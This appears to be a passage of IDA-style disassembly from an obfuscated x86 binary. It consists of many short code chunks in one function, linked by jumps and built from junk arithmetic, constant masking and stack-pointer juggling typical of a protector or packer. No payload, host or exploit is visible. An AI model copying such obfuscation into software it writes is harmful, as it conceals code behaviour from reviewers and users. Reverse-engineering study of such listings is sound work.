		jmp	loc_5BA6E0
; ---------------------------------------------------------------------------


loc_5B3AC0:				; CODE XREF: sub_5A55E5+13842j
		push	[esp+24h+var_26+2]
		mov	ecx, [esp+28h+var_2A+2]
		push	ebp
		jmp	loc_5B2088
; ---------------------------------------------------------------------------


loc_5B3ACC:				; CODE XREF: sub_5A55E5+A4FBj
		mov	[esp+3Ah+var_3A], edx
		mov	edx, 318F6694h
		mov	eax, edx
		push	[esp+3Ah+var_3A]
		pop	edx
		jmp	loc_5B9E42
; ---------------------------------------------------------------------------


loc_5B3ADF:				; CODE XREF: sub_5A55E5+5F8Cj
		add	ebp, esi
		sub	ebp, 252F3905h
		add	ebp, 4BBB2360h
		pop	esi
		xor	ebp, [esp+14h+var_14]
		jmp	loc_5AA426
; ---------------------------------------------------------------------------
word_5B3AF6	dw 8B66h		; DATA XREF: sub_5A55E5+42AFo
		dd 6855240Ch, 7689h, 0FF60E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5B3B05:				; CODE XREF: sub_5A55E5+12F04j
		neg	eax
		shr	eax, 2
		add	eax, 0EE142FDBh
		add	ebp, eax
		pop	eax
		push	[esp+10h+var_10]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5BB4D8
; ---------------------------------------------------------------------------


loc_5B3B24:				; CODE XREF: sub_5A55E5+12313j
		mov	dh, 5
		xor	dh, 91h
		jmp	loc_5B1ADB
; ---------------------------------------------------------------------------


loc_5B3B2E:				; CODE XREF: sub_5A55E5+15B4Aj
		pop	eax
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		jmp	loc_5B82DF
; ---------------------------------------------------------------------------


loc_5B3B49:				; CODE XREF: sub_5A55E5+723Aj
		mov	edi, 4EDE3475h
		sub	[esp+28h+var_22+2], edi
		pop	edi
		pop	ebp
		sub	[esp+20h+var_22+2], 1D172CADh
		jmp	loc_5BE87C
; ---------------------------------------------------------------------------


loc_5B3B60:				; CODE XREF: sub_5A55E5+6EB4j
		add	ecx, 7C9A7F25h
		jmp	loc_5ADD87
; ---------------------------------------------------------------------------


loc_5B3B6B:				; CODE XREF: sub_5A55E5+11F17j
		add	al, cl
		jmp	loc_5BB5C2
; ---------------------------------------------------------------------------


loc_5B3B72:				; CODE XREF: sub_5A55E5+198FEj
		xor	eax, 19D50F87h
		push	esi
		jmp	loc_5B36D3
; ---------------------------------------------------------------------------


loc_5B3B7D:				; CODE XREF: sub_5A55E5+15AF9j
		add	ebp, 5498790Ch
		sub	ebp, eax
		sub	ebp, 5498790Ch
		pop	eax
		xchg	ebp, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], ecx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3B98:				; CODE XREF: sub_5A55E5+C229j
		mov	[esp+2Ch+var_2E+2], edx
		mov	edx, 6A6C2F06h
		add	eax, 0A034D0Bh
		jmp	loc_5B7ECE
; ---------------------------------------------------------------------------


loc_5B3BAA:				; CODE XREF: sub_5A55E5+172F7j
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		push	eax
		jmp	loc_5AD000
; ---------------------------------------------------------------------------


loc_5B3BB6:				; CODE XREF: sub_5A55E5+88E3j
		shl	ecx, 3
		jmp	loc_5B91E9
; ---------------------------------------------------------------------------


loc_5B3BBE:				; CODE XREF: sub_5A55E5+6763j
		xchg	edx, ebp
		add	ebp, 71B67A7Fh
		jmp	loc_5BD51F
; ---------------------------------------------------------------------------


loc_5B3BCB:				; CODE XREF: sub_5A55E5+AA09j
		mov	edi, 4
		jmp	loc_5B111A
; ---------------------------------------------------------------------------


loc_5B3BD5:				; CODE XREF: sub_5A55E5+9E98j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_5B25E1
; ---------------------------------------------------------------------------


loc_5B3BE0:				; CODE XREF: sub_5A55E5+194F6j
		push	[esp+1Eh+var_1C+2]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5AA08A
; ---------------------------------------------------------------------------


loc_5B3BFA:				; CODE XREF: sub_5A55E5+18A83j
		pop	eax
		add	esp, 4
		add	eax, 0E204FD17h
		push	eax
		pop	ebx
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		add	ebx, 6E6B34A1h
		sub	ebx, 664A2F4Fh
		add	ebx, edi
		push	edx
		jmp	loc_5B3658
; ---------------------------------------------------------------------------


loc_5B3C1F:				; CODE XREF: sub_5A55E5+1114Dj
		push	0DC0h
		mov	[esp+16h+var_18+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5BEF88
; ---------------------------------------------------------------------------


loc_5B3C33:				; CODE XREF: sub_5A55E5+B5B7j
		pop	edi
		jmp	loc_5AED0D
; ---------------------------------------------------------------------------


loc_5B3C39:				; CODE XREF: sub_5A55E5+16E34j
		add	esp, 4
		add	esp, 4
		pop	edx
		jmp	loc_5BB6FE
; ---------------------------------------------------------------------------


loc_5B3C48:				; CODE XREF: sub_5A55E5+4BB2j
		pop	ebx
		or	ecx, eax
		pop	eax
		push	esi
		mov	esi, 31E26A5Ch
		jmp	loc_5BA775
; ---------------------------------------------------------------------------


loc_5B3C57:				; CODE XREF: sub_5A55E5+C0F5j
		xchg	ecx, [esp+2Ch+var_2E+2]
		jmp	loc_5B0E81
; ---------------------------------------------------------------------------


loc_5B3C5F:				; CODE XREF: sub_5A55E5+1788Cj
		xor	edi, 37CA4C0h
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5B7700
; ---------------------------------------------------------------------------


loc_5B3C78:				; CODE XREF: sub_5A55E5+EA63j
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], edx
		push	ecx
		mov	ecx, 0A5062C7h
		mov	edx, 4959EF4Fh
		sub	edx, 4EB66040h
		jmp	loc_5BE56C
; ---------------------------------------------------------------------------


loc_5B3C94:				; CODE XREF: sub_5A55E5+18AB9j
		xor	esi, edi
		jmp	loc_5BEA05
; ---------------------------------------------------------------------------


loc_5B3C9B:				; CODE XREF: sub_5A55E5+DE2Ej
		add	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		mov	[esp+2Ch+var_2E+2], edx
		jmp	loc_5AE4CE
; ---------------------------------------------------------------------------


loc_5B3CAF:				; CODE XREF: sub_5A55E5+14023j
		neg	edx
		xor	edx, 69BE55A0h
		add	eax, edx
		pop	edx
		push	ebx
		jmp	loc_5AF66B
; ---------------------------------------------------------------------------


loc_5B3CC0:				; CODE XREF: sub_5A55E5+E46Cj
		add	edi, 4
		xor	edi, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edi
		xor	edi, [esp+0Ah+var_C+2]
		pop	esp
		push	6AC2h
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_5BEF7F
; ---------------------------------------------------------------------------


loc_5B3CDA:				; CODE XREF: sub_5A55E5+11585j
		mov	dl, 1Ch
		jmp	loc_5B7016
; ---------------------------------------------------------------------------


loc_5B3CE1:				; CODE XREF: sub_5A55E5+17F35j
		mov	ecx, [esp+0Ah+var_C+2]
		push	55F7h
		mov	[esp+0Eh+var_10+2], esi
		push	esp
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_5B3EF0
; ---------------------------------------------------------------------------


loc_5B3D07:				; CODE XREF: sub_5A55E5+16661j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_5B7C49
; ---------------------------------------------------------------------------


loc_5B3D15:				; CODE XREF: sub_5A55E5+17142j
		sub	ebx, 70707CE0h
		push	3C9Ah
		jmp	loc_5B9905
; ---------------------------------------------------------------------------


loc_5B3D25:				; CODE XREF: sub_5A55E5+9847j
		mov	esp, [esp+20h+var_22+2]
		jmp	loc_5B6970
; ---------------------------------------------------------------------------


loc_5B3D2D:				; CODE XREF: sub_5A55E5+8E92j
		mov	esi, 76F90FEDh
		jmp	loc_5AC7CC
; ---------------------------------------------------------------------------


loc_5B3D37:				; CODE XREF: sub_5A55E5+B343j
		add	esp, 4
		push	eax
		jmp	loc_5BE30F
; ---------------------------------------------------------------------------


loc_5B3D43:				; CODE XREF: sub_5A55E5+54EEj
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5AADA9
; ---------------------------------------------------------------------------


loc_5B3D54:				; CODE XREF: sub_5A55E5+F44Cj
		push	42BE78F4h
		pop	ebp
		shr	ebp, 2
		sub	ebp, 2BF753B3h
		not	ebp
		sub	ebp, 0FDAF4894h
		mov	esi, ebp
		pop	ebp
		mov	edx, esi
		jmp	loc_5B33FD
; ---------------------------------------------------------------------------


loc_5B3D75:				; DATA XREF: sub_5A55E5+434Bo
		push	[esp+14h+var_14]
		jmp	loc_5B69A3
; ---------------------------------------------------------------------------


loc_5B3D7D:				; CODE XREF: sub_5A55E5+578Bj
		pop	bx
		push	eax
		mov	ah, 59h
		jmp	loc_5BA696
; ---------------------------------------------------------------------------


loc_5B3D87:				; CODE XREF: sub_5A55E5+104D9j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], edx
		mov	edx, esp
		push	712Fh
		jmp	loc_5BAD2F
; ---------------------------------------------------------------------------


loc_5B3DA5:				; CODE XREF: sub_5A55E5+12B35j
		shr	edx, 1
		xor	edx, 36271E94h
		add	ecx, edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		add	ecx, edi
		push	5188h
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AAF31
; ---------------------------------------------------------------------------


loc_5B3DCC:				; CODE XREF: sub_5A55E5+9662j
		sub	ebx, ebp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		xor	ebx, 27D74E37h
		add	edx, ebx
		pop	ebx
		jmp	loc_5ABE58
; ---------------------------------------------------------------------------


loc_5B3DE2:				; CODE XREF: sub_5A55E5+14D29j
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		jmp	loc_5BC609
; ---------------------------------------------------------------------------


loc_5B3DED:				; CODE XREF: sub_5A55E5+91EBj
		pop	edx
		pop	ecx
		sub	ecx, 338415E0h
		push	[esp+26h+var_26]
		jmp	loc_5B2B75
; ---------------------------------------------------------------------------


loc_5B3DFD:				; CODE XREF: sub_5A55E5+17D9Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2Ah+var_2A]
		pop	esp
		sub	eax, edi
		mov	edi, [esp+26h+var_26]
		add	esp, 4
		add	[edi+24h], eax
		mov	eax, [esp+22h+var_22]
		jmp	loc_5B3120
; ---------------------------------------------------------------------------


loc_5B3E23:				; CODE XREF: sub_5A55E5+A3CFj
		add	esp, 4
		sub	ebx, 537A6E6Eh
		push	dword ptr [eax]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3E33:				; DATA XREF: sub_5A55E5+4307o
		mov	eax, [esp+14h+var_14]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 450704ECh
		not	ebx
		jmp	loc_5BB4C4
; ---------------------------------------------------------------------------


loc_5B3E5B:				; CODE XREF: sub_5A55E5+16B34j
		push	eax
		mov	al, cl
		mov	bh, al
		pop	eax
		jmp	loc_5BA05A
; ---------------------------------------------------------------------------


loc_5B3E66:				; CODE XREF: sub_5A55E5+19499j
		mov	ebx, 3D72B88h
		xor	ebx, 415A50E4h
		xor	ebx, 428D7B6Eh
		add	edx, ebx
		pop	ebx
		push	2C05h
		jmp	loc_5BC906
; ---------------------------------------------------------------------------


loc_5B3E84:				; CODE XREF: sub_5A55E5+17A55j
		sub	esi, 4
		xchg	esi, [esp+18h+var_18]
		pop	esp
		push	esp
		pop	[esp+18h+var_18]
		push	1CDEh
		mov	[esp+18h+var_18], edi
		jmp	loc_5B4148
; ---------------------------------------------------------------------------


loc_5B3E9C:				; CODE XREF: sub_5A55E5+11267j
		pop	ebp
		pop	edi
		mov	ebx, ebp
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		and	ecx, ebx
		push	[esp+0Ch+var_C]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	3899h
		jmp	loc_5AF73D
; ---------------------------------------------------------------------------


loc_5B3EC0:				; CODE XREF: sub_5A55E5+A665j
		pop	ebp
		pop	[esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 4
		add	ebp, 9CE72ADh
		add	ebp, ebx
		sub	ebp, 9CE72ADh
		pop	ebx
		add	ebp, 4
		jmp	loc_5BE5D9
; ---------------------------------------------------------------------------


loc_5B3EE4:				; CODE XREF: sub_5A55E5+A180j
		pop	edx
		add	edx, 4
		jmp	loc_5AA04C
; ---------------------------------------------------------------------------


loc_5B3EF0:				; CODE XREF: sub_5A55E5+E71Dj
		xchg	esi, [esp+0Eh+var_10+2]
		jmp	loc_5AB41C
; ---------------------------------------------------------------------------


loc_5B3EF8:				; DATA XREF: sub_5A55E5+436Fo
		lodsb
		push	small 214Bh
		mov	word ptr [esp+16h+var_18+2], bx
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ch, 30h
		push	6A49h
		jmp	loc_5B4760
; ---------------------------------------------------------------------------


loc_5B3F16:				; CODE XREF: sub_5A55E5+751Aj
		shl	eax, 3
		sub	eax, 8AA2C889h
		xor	edx, eax
		pop	eax
		push	2C3Ah
		mov	[esp+2Ah+var_2A], ebx
		mov	ebx, 40630DB8h
		push	esi
		mov	esi, 6FB0D92h
		and	ebx, esi
		jmp	loc_5B9315
; ---------------------------------------------------------------------------


loc_5B3F3B:				; CODE XREF: sub_5A55E5+761Bj
		add	edx, edi
		add	edx, 61E30561h
		jmp	loc_5AFE12
; ---------------------------------------------------------------------------


loc_5B3F48:				; CODE XREF: sub_5A55E5+DFB6j
		add	ax, 2568h
		push	6E37h
		mov	[esp+22h+var_22], edx
		mov	dx, 74A3h
		push	edi
		mov	di, 3A38h
		not	di
		xor	di, 0D2E3h
		sub	dx, di
		pop	edi
		sub	dx, 4306h
		add	ax, dx
		pop	edx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_5B9F47
; ---------------------------------------------------------------------------


loc_5B3F7D:				; CODE XREF: sub_5A55E5+A0FDj
		add	esp, 4
		add	edi, 3C92659Ch
		sub	edi, 6C715367h
		add	edi, ecx
		add	edi, 6C715367h
		push	403h
		jmp	loc_5B2FA4
; ---------------------------------------------------------------------------


loc_5B3F9E:				; CODE XREF: sub_5A55E5+5AFAj
		mov	ecx, 26DC54D0h
		push	edi
		mov	edi, 60461808h
		push	ecx
		mov	ecx, 1AE76358h
		jmp	loc_5B75A2
; ---------------------------------------------------------------------------


loc_5B3FB4:				; CODE XREF: sub_5A55E5+1329Dj
		push	4361h
		mov	[esp+10h+var_10], esi
		jmp	loc_5BBD17
; ---------------------------------------------------------------------------


loc_5B3FC1:				; CODE XREF: sub_5A55E5+6425j
		add	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		jmp	loc_5B10C8
; ---------------------------------------------------------------------------


loc_5B3FCC:				; CODE XREF: sub_5A55E5+17B81j
		mov	ebp, eax
		push	[esp+44h+var_46+2]
		pop	eax
		add	esp, 4
		and	eax, ebp
		jmp	loc_5B1533
; ---------------------------------------------------------------------------


loc_5B3FDF:				; CODE XREF: sub_5A55E5+F4E8j
		sub	ecx, 0D4C5BDDFh
		add	esi, ecx
		pop	ecx
		xor	ecx, esi
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5B3403
; ---------------------------------------------------------------------------


loc_5B3FF8:				; CODE XREF: sub_5A55E5+16DE2j
		add	edx, eax
		pop	eax
		xor	edx, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], edx
		xor	edx, [esp+30h+var_32+2]
		pop	esp
		add	edx, ebx
		sub	edx, 0CF077Fh
		pop	ebx
		jmp	loc_5BA1CC
; ---------------------------------------------------------------------------


loc_5B4013:				; CODE XREF: sub_5A55E5+9D2Dj
		mov	eax, [esp+72h+var_74+2]
		jmp	loc_5B98E0
; ---------------------------------------------------------------------------


loc_5B401B:				; CODE XREF: sub_5A55E5+6AE1j
		mov	ecx, 4304D0Bh
		jmp	loc_5B2D4D
; ---------------------------------------------------------------------------


loc_5B4025:				; CODE XREF: sub_5A55E5+13316j
		dec	ebx
		dec	ebx
		push	ecx
		mov	ecx, 55B40534h
		add	ebx, ecx
		pop	ecx
		add	edx, 79C1235Ah
		sub	edx, ebx
		push	ebp
		mov	ebp, 20400682h
		jmp	loc_5B7B63
; ---------------------------------------------------------------------------


loc_5B4043:				; CODE XREF: sub_5A55E5+104ADj
		mov	[esp+6Eh+var_70+2], ebx
		mov	ebx, esp
		jmp	loc_5B3C78
; ---------------------------------------------------------------------------


loc_5B404D:				; CODE XREF: sub_5A55E5+10B20j
		and	edi, ebp
		pop	ebp
		jmp	loc_5B78E7
; ---------------------------------------------------------------------------


loc_5B4055:				; CODE XREF: sub_5A55E5+145E8j
		add	esp, 4
		jmp	loc_5BD66A
; ---------------------------------------------------------------------------


loc_5B4060:				; CODE XREF: sub_5A55E5+D763j
		add	ecx, edi
		pop	edi
		jmp	loc_5B8A0D
; ---------------------------------------------------------------------------


loc_5B4068:				; CODE XREF: sub_5A55E5+850Aj
		not	bl
		jmp	loc_5ACA87
; ---------------------------------------------------------------------------


loc_5B406F:				; CODE XREF: sub_5A55E5+190A6j
		shl	eax, 2
		jmp	loc_5A9E94
; ---------------------------------------------------------------------------


loc_5B4077:				; CODE XREF: sub_5A55E5+F0F6j
		or	bl, ch
		pop	ecx
		jmp	loc_5BE3A8
; ---------------------------------------------------------------------------


loc_5B407F:				; CODE XREF: sub_5A55E5+13DCCj
		neg	edi
		add	edi, 2C463A75h
		mov	eax, edi
		pop	edi
		jmp	loc_5B1A7F
; ---------------------------------------------------------------------------


loc_5B408F:				; CODE XREF: sub_5A55E5+12158j
		not	edi
		xor	edi, 431BE3FAh
		mov	ebp, edi
		pop	edi
		sub	ebp, 6054489Ah
		xor	ebp, 0AA7773DCh
		sub	edi, ebp
		push	[esp+14h+var_14]
		jmp	loc_5B2D71
; ---------------------------------------------------------------------------


loc_5B40B0:				; CODE XREF: sub_5A55E5+1213Fj
		mov	ebx, 2
		push	6E5Fh
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 0CA1644Bh
		shr	esi, 3
		shl	esi, 4
		jmp	loc_5B1675
; ---------------------------------------------------------------------------


loc_5B40CD:				; CODE XREF: sub_5A55E5+10C4Dj
		add	dl, 0B5h
		mov	bh, dl
		pop	edx
		mov	cl, 40h
		sub	cl, 19h
		sub	cl, bh
		add	cl, 19h
		pop	ebx
		jmp	loc_5B6756
; ---------------------------------------------------------------------------


loc_5B40E3:				; CODE XREF: sub_5A55E5+B700j
		sub	esp, 4
		mov	[esp+26h+var_26], ebp
		push	11B8h
		mov	[esp+2Ah+var_2A], eax
		push	[esp+2Ah+var_2A]
		pop	ebp
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5BA0D9
; ---------------------------------------------------------------------------


loc_5B40FE:				; CODE XREF: sub_5A55E5+8651j
		push	ebx
		sub	esp, 4
		mov	[esp+52h+var_54+2], ebp
		push	524F46E8h
		pop	ebp
		sub	ebp, 49153CE9h
		sub	esp, 4
		mov	[esp+56h+var_58+2], esi
		mov	esi, 6AB12D47h
		sub	esi, 1412C8C1h
		xor	ebp, esi
		pop	esi
		inc	ebp
		add	ebp, 0B1199C11h
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 2
		add	ebx, 0FBD07DA2h
		add	ecx, 277A5993h
		add	ecx, ebx
		jmp	loc_5B052A
; ---------------------------------------------------------------------------


loc_5B4148:				; CODE XREF: sub_5A55E5+E8B2j
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		jmp	loc_5ADA22
; ---------------------------------------------------------------------------


loc_5B4155:				; CODE XREF: sub_5A55E5+5C4Aj
		mov	edi, 7ECB0D18h
		mov	esi, 0F71B25E1h
		sub	esi, edi
		pop	edi
		not	esi
		jmp	loc_5B5B46
; ---------------------------------------------------------------------------


loc_5B4169:				; CODE XREF: sub_5A55E5+1803Dj
		push	[esp+1Ah+var_1C+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5B525F
; ---------------------------------------------------------------------------


loc_5B4175:				; CODE XREF: sub_5A55E5+10CFDj
		push	edx
		push	ebx
		push	dx
		mov	dl, 12h
		mov	bl, dl
		jmp	loc_5AE0B8
; ---------------------------------------------------------------------------


loc_5B4182:				; CODE XREF: sub_5A55E5+10952j
		add	ebp, 4
		xchg	ebp, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		shr	ebp, 8
		jmp	loc_5B3191
; ---------------------------------------------------------------------------


loc_5B4193:				; CODE XREF: sub_5A55E5+167A6j
		sub	edx, ecx
		add	edx, 58FB13B7h
		push	ecx
		mov	ecx, 19337400h
		push	esi
		push	ecx
		mov	ecx, 1D2209C4h
		mov	esi, 4A881915h
		xor	esi, ecx
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		and	esi, 42862D0Bh
		shr	esi, 8
		dec	esi
		shr	esi, 4
		or	esi, 310721D7h
		xor	esi, 5E8C6E86h
		sub	ecx, esi
		pop	esi
		push	esi
		push	edx
		mov	edx, 67595F03h
		mov	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		xor	ecx, 60586EF4h
		push	eax
		mov	eax, 88751AEh
		add	eax, 44154828h
		jmp	loc_5B8072
; ---------------------------------------------------------------------------


loc_5B41F4:				; CODE XREF: sub_5A55E5+14A00j
		pop	ax
		push	[esp+26h+var_26]
		mov	ecx, [esp+2Ah+var_2A]
		add	esp, 4
		add	esp, 4
		dec	bh
		jmp	loc_5B49B0
; ---------------------------------------------------------------------------


loc_5B4209:				; CODE XREF: sub_5A55E5+9881j
		sub	eax, esi
		add	eax, 7CA842F8h
		jmp	loc_5AC27D
; ---------------------------------------------------------------------------


loc_5B4215:				; CODE XREF: sub_5A55E5+5E74j
		mov	edx, 4
		push	edx
		mov	edx, 236E2086h
		shr	edx, 7
		jmp	loc_5AFE29
; ---------------------------------------------------------------------------


loc_5B4228:				; CODE XREF: sub_5A55E5+12981j
		push	[esp+20h+var_22+2]
		pop	edx
		add	esp, 4
		xor	esi, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], esi
		jmp	loc_5B626C
; ---------------------------------------------------------------------------


loc_5B423D:				; CODE XREF: sub_5A55E5+1108Ej
		mov	esi, 166B7EAAh
		shr	esi, 7
		add	esi, 1A195D3Ch
		sub	edx, esi
		pop	esi
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B4253:				; CODE XREF: sub_5A55E5+597Aj
		sub	al, dh
		push	3050h
		mov	[esp+1Ch+var_1C], edx
		mov	dh, 0AFh
		add	al, dh
		jmp	loc_5BB2DF
; ---------------------------------------------------------------------------


loc_5B4266:				; CODE XREF: sub_5A55E5+170EBj
		mov	[esp+1Ch+var_1C], esi
		not	[esp+1Ch+var_1C]
		pop	esi
		inc	esi
		push	edx
		mov	edx, 8BA77087h
		xor	esi, edx
		pop	edx
		jmp	loc_5B09EF
; ---------------------------------------------------------------------------


loc_5B427C:				; DATA XREF: sub_5A55E5+42DBo
		push	eax
		push	edx
		jmp	loc_5B7568
; ---------------------------------------------------------------------------


loc_5B4283:				; CODE XREF: sub_5A55E5+DFC4j
		sub	eax, 5AA730AFh
		sub	eax, ebx
		jmp	loc_5AE866
; ---------------------------------------------------------------------------


loc_5B428F:				; CODE XREF: sub_5A55E5+D2F1j
		add	ebp, ebx
		sub	ebp, 6DF66700h
		pop	ebx
		sub	ebp, 4
		jmp	loc_5BF2B3
; ---------------------------------------------------------------------------


loc_5B42A0:				; CODE XREF: sub_5A55E5+51D5j
		mov	ebp, 4
		sub	edx, 4D99176Eh
		add	edx, ebp
		add	edx, 4D99176Eh
		pop	ebp
		jmp	loc_5BBD79
; ---------------------------------------------------------------------------


loc_5B42B9:				; CODE XREF: sub_5A55E5+CE91j
		add	esp, 4
		push	small 2B2h
		mov	word ptr [esp+1Ch+var_1C], dx
		push	ebx
		push	ecx
		mov	cl, 0E9h
		mov	bl, 0EFh
		xor	bl, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+24h+var_26+2], eax
		jmp	loc_5BA3D5
; ---------------------------------------------------------------------------


loc_5B42DB:				; CODE XREF: sub_5A55E5+18486j
		add	edx, esi
		sub	edx, 579C4AAEh
		pop	esi
		add	eax, edx
		pop	edx
		push	edx
		push	edi
		jmp	loc_5BB0EE
; ---------------------------------------------------------------------------


loc_5B42EE:				; CODE XREF: sub_5A55E5+16243j
		mov	[esp+24h+var_26+2], eax
		push	esp
		pop	eax
		push	6F22h
		mov	[esp+28h+var_2A+2], esi
		push	4
		jmp	loc_5AE219
; ---------------------------------------------------------------------------


loc_5B4305:				; CODE XREF: sub_5A55E5+11815j
		sub	esi, eax
		jmp	loc_5B4BB3
; ---------------------------------------------------------------------------


loc_5B430C:				; CODE XREF: sub_5A55E5+1782Aj
		mov	esp, [esp+2Ch+var_2E+2]
		push	7C2Ah
		mov	[esp+30h+var_32+2], ecx
		jmp	loc_5AB576
; ---------------------------------------------------------------------------


loc_5B431C:				; CODE XREF: sub_5A55E5+B746j
		push	edx
		mov	edx, 40AC2352h
		jmp	loc_5B7B55
; ---------------------------------------------------------------------------


loc_5B4327:				; CODE XREF: sub_5A55E5+54B5j
		pop	ebx
		sub	esp, 4
		jmp	loc_5B58C3
; ---------------------------------------------------------------------------


loc_5B4330:				; CODE XREF: sub_5A55E5+A32Fj
		add	esp, 4
		jmp	loc_5AEA3C
; ---------------------------------------------------------------------------


loc_5B4338:				; CODE XREF: sub_5A55E5+15D19j
		add	esp, 4
		and	eax, edx
		push	[esp+3Ah+var_3A]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7EABh
		mov	[esp+3Ah+var_3A], edx
		mov	edx, 67D54ADDh
		jmp	loc_5AE459
; ---------------------------------------------------------------------------


loc_5B435D:				; CODE XREF: sub_5A55E5+168DFj
		push	ebp
		sub	[esp+3Eh+var_3E], 764B3D35h
		pop	edx
		add	edx, 764B3D35h
		pop	ebp
		inc	edx
		jmp	loc_5B08FE
; ---------------------------------------------------------------------------


loc_5B4373:				; CODE XREF: sub_5A55E5+7C11j
		push	eax
		jmp	loc_5BE209
; ---------------------------------------------------------------------------


loc_5B4379:				; CODE XREF: sub_5A55E5+64A7j
		push	edi
		push	edx
		mov	edx, 138B38A3h
		shl	edx, 7
		dec	edx
		jmp	loc_5BAE4E
; ---------------------------------------------------------------------------


loc_5B4389:				; CODE XREF: sub_5A55E5+178E5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+48h+var_46+2]
		pop	edi
		pop	[esp+48h+var_4A+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5AA3CD
; ---------------------------------------------------------------------------


loc_5B43A9:				; CODE XREF: sub_5A55E5+150B3j
		mov	ch, 4Ch
		sub	dh, ch
		pop	cx
		add	dh, ah
		add	dh, 4Ch
		jmp	loc_5AF6E7
; ---------------------------------------------------------------------------


loc_5B43B9:				; CODE XREF: sub_5A55E5+13D38j
		xor	ebx, 0A577E165h
		sub	edx, ebx
		mov	ebx, [esp+42h+var_42]
		add	esp, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_5AAC3A
; ---------------------------------------------------------------------------


loc_5B43D9:				; CODE XREF: sub_5A55E5+9C45j
		mov	[esp+24h+var_26+2], ecx
		push	3E58h
		mov	[esp+28h+var_2A+2], eax
		jmp	loc_5BD58F
; ---------------------------------------------------------------------------


loc_5B43E9:				; CODE XREF: sub_5A55E5+18DB6j
		mov	ecx, 0DE69D85Eh
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 5CF71386h
		sub	edx, 0E2BDDAC4h
		sub	esi, edx
		pop	edx
		jmp	loc_5B3262
; ---------------------------------------------------------------------------


loc_5B4405:				; CODE XREF: sub_5A55E5+C62Fj
		pop	esp
		jmp	loc_5BD848
; ---------------------------------------------------------------------------


loc_5B440B:				; CODE XREF: sub_5A55E5+D169j
		push	ecx
		push	esp
		jmp	loc_5AD198
; ---------------------------------------------------------------------------


loc_5B4412:				; CODE XREF: sub_5A55E5+5246j
		push	edx
		mov	dh, 93h
		jmp	loc_5B9546
; ---------------------------------------------------------------------------


loc_5B441A:				; CODE XREF: sub_5A55E5+11287j
		mov	esp, [esp+0]
		mov	cx, [esp+0]
		push	161h
		mov	[esp+22h+var_22], edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 0F92330Ah
		sub	ebp, 0F923306h
		add	edx, ebp
		mov	ebp, [esp+26h+var_26]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5BEA79
; ---------------------------------------------------------------------------


